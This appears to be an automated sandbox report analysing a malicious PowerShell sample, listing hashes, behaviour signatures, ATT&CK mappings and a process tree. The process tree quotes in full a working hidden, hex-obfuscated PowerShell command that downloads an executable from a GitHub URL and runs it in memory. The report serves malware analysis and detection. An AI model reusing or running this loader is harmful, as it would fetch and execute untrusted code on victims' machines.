6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9

Analysis

max time kernel
149s
max time network
145s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
17/10/2026, 01:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
powershell -w hidden -nop -ep bypass -c "$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1
Size 993B
Sample261017-b43dlavsev
SHA256 6f1e63117e69d7eaef80de6c144b074a1d6ca531bf0b051668c1d39f543980b9
MD5 87e3a27f194a9f5641eaeab141bd362f
SHA1 03c6aec12ec734cfb5827377d6c6ff640231387a
SHA512 f2f34805335670bee20c10a477b245ccb37d000cab400c778bfb3445bf52c0a6491c8727cb87612ba32b5e471bdbc993c3b993afed3d28ca9ffb7a6fc64d5580
TLSH
T1F0115450603294ABFD07512BD81701DC3E3912349730F327723A6B56D61A47FB684396
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
844	powershell.exe
2192	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
844	powershell.exe
844	powershell.exe
2192	powershell.exe
2192	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	844	powershell.exe
Token: SeDebugPrivilege	2192	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 2192	844	powershell.exe	85

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\powershell -w hidden -nop -ep bypass -c _$s='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-7.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass -c ='74-72-79-20-7B-20-24-62-79-74-65-73-20-3D-20-28-4E-65-77-2D-4F-62-6A-65-63-74-20-4E-65-74-2E-57-65-62-43-6C-69-65-6E-74-29-2E-44-6F-77-6E-6C-6F-61-64-44-61-74-61-28-27-68-74-74-70-73-3A-2F-2F-67-69-74-68-75-62-2E-63-6F-6D-2F-63-63-73-67-6F-71-2D-62-79-74-65-2F-61-73-64-73-61-2F-72-61-77-2F-6D-61-69-6E-2F-53-61-70-70-68-69-72-65-5F-43-6C-69-63-6B-65-72-25-32-30-28-4F-55-54-44-41-54-45-44-25-32-30-4C-45-41-4B-29-2E-65-78-65-27-29-3B-20-24-61-73-6D-20-3D-20-5B-52-65-66-6C-65-63-74-69-6F-6E-2E-41-73-73-65-6D-62-6C-79-5D-3A-3A-4C-6F-61-64-28-24-62-79-74-65-73-29-3B-20-24-65-6E-74-72-79-20-3D-20-24-61-73-6D-2E-45-6E-74-72-79-50-6F-69-6E-74-3B-20-24-65-6E-74-72-79-2E-49-6E-76-6F-6B-65-28-24-6E-75-6C-6C-2C-20-24-6E-75-6C-6C-29-20-7D-20-63-61-74-63-68-20-7B-20-24-5F-2E-45-78-63-65-70-74-69-6F-6E-20-7C-20-46-6F-72-6D-61-74-2D-4C-69-73-74-20-2D-46-6F-72-63-65-3B-20-70-61-75-73-65-20-7D';iex(-join(-split'-'|%{[char][convert]::ToInt32(,16)}))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2192

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 82575bc65dfce54754ccd98b26308a1b6087632d4cf938f77574d12925435ae7
MD5 dd48fff656431b2bf6857200b383a32f
SHA1 eddd64a105787ce19c0fcbe522cc0a93377400cf
SHA512 3c04a91c3ee1e4c0927fe7bc5f4ff7b1265f1e17302431573f336c890aee7d4e85b548a55bdc069b904d581837e71d0a8096802a00d73168dc54ce10dd68c0c8
TLSH
T11651CB3133B5A1E489167F4619681AC023BF8355F698AF187698521ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a4b58cc9a5ebb4c083af962d87b93ced140101dd597c63e77d9b2db270cb8bb9
MD5 9ff5acb111581f5cd37e341c610b2c54
SHA1 a43be89b6d45bac9e97244f1e1a5a84793e41c83
SHA512 9d0e1962fd283650ade6d4602d74f45113e82b99d12803426144dfa331e369c8a043c86fe9d4ea13e9798f67bef0b765635bfd0300292242c72e00671de8907f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_lsh2p5jf.u4c.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lsh2p5jf.u4c.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/844-0-0x0000023722D60000-0x0000023722D70000-memory.dmp

Download

memory/844-1-0x0000023722D60000-0x0000023722D70000-memory.dmp

Download

memory/844-9-0x0000023722CA0000-0x0000023722CC2000-memory.dmp

Download

memory/2192-11-0x00000266A79C0000-0x00000266A79D0000-memory.dmp

Download

memory/2192-10-0x00000266A79C0000-0x00000266A79D0000-memory.dmp

Download

memory/2192-19-0x00000266A79C0000-0x00000266A79D0000-memory.dmp

Download